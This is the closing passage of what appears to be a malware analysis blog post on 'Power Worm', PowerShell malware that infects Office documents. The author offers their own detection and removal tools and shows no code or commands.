So in the end, I was rather impressed by the effectiveness of which the PowerShell payloads infected Office documents. It has yet to be seen though the true power of this malware until additional malicious payloads can be downloaded from the C2 server.

Should you become the victim of a “Power Worm” infection or any malicious Office document for that matter, I’ve provided tools to detect and remove “Power Worm” and Word/Excel macros. You can download these tools from my Github repo.

❌